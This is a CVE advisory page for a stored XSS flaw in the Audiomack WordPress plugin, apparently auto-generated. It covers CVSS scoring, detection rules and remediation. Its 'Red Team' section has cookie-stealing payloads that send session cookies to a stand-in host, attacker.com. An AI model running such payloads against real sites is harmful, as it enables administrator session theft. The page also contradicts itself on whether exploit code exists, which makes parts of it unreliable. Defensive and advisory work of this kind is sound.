CVE-2025-49357
Executive Summary
CVE-2025-49357 is a Stored Cross-Site Scripting (XSS) vulnerability in the Audiomack WordPress plugin, affecting versions from n/a through 1.4.8. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the context of any user viewing the affected page. This is a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 6.5 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's page for updates and verify the integrity of the plugin file (e.g., via checksum) before installation. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
- User Interaction (UI): Required (R) – A user must visit the compromised page.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploits and low EPSS score reduce immediate risk. However, the stored nature of the XSS means any user visiting the affected page could be compromised.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (CWE-79) in the Audiomack plugin. The plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it in a web page. An attacker can inject malicious JavaScript code into a field (e.g., a comment, profile field, or widget setting) that is not properly neutralized. When an administrator or other user views the page containing this stored data, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
The attack flow:
- Attacker identifies an input field in the plugin that is not sanitized.
- Attacker submits a payload like
<script>alert('XSS')</script>. - The payload is stored in the WordPress database.
- When a victim visits the page that renders this data, the script executes.
Vulnerable vs. Patched Code
Since no patch is available, a hypothetical fix would involve proper output escaping using WordPress functions like esc_html() or wp_kses_post().
Vulnerable Code (hypothetical):
echo $user_input;
Patched Code (hypothetical):
echo esc_html( $user_input );
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress instance with Audiomack plugin version <= 1.4.8.
- An attacker-controlled server to capture exfiltrated data.
Steps:
- Identify an input field that is not sanitized (e.g., a comment form or plugin settings).
- Inject the following payload:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Submit the form.
- Wait for an administrator to view the page containing the payload.
- The administrator's session cookie is sent to the attacker's server.
Payload Example:
fetch('http://attacker.com/steal?data='+btoa(document.cookie))
Blue Team
Detection:
- Monitor for unusual script tags in user-submitted content.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Review server logs for requests containing
<script>oronerrorattributes.
Prevention:
- Ensure all user input is sanitized using WordPress functions.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly update the plugin to the latest version.
Indicators of Compromise (IOCs)
- Network: HTTP requests containing
<script>,onerror,onload, orjavascript:in POST data. - Host: Presence of unexpected JavaScript code in WordPress database fields (e.g.,
wp_comments,wp_postmeta). - File: Modified plugin files with injected JavaScript.
- Log: Repeated 404 errors for non-existent script files.
Detection Engineering
YARA Rule
rule Detect_Audiomack_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Audiomack plugin data"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49357"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:\s*/i
condition:
any of ($xss*)
}
Sigma Rule
title: Audiomack Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Audiomack plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in comments (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"Audiomack Stored XSS Attempt"; flow:to_server; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)
alert http any any -> any any (msg:"Audiomack Stored XSS - onerror"; content:"onerror"; nocase; http_client_body; sid:1000002; rev:1;)
alert http any any -> any any (msg:"Audiomack Stored XSS - onload"; content:"onload"; nocase; http_client_body; sid:1000003; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Audiomack plugin until a patch is available.
- Short-term: Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
- Long-term: Apply output escaping using
esc_html(),esc_attr(), orwp_kses_post()in all plugin templates. - Monitor: Watch the plugin's WordPress.org page for updates and apply patches as soon as they are released.
- Audit: Review all user-submitted content for signs of compromise.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.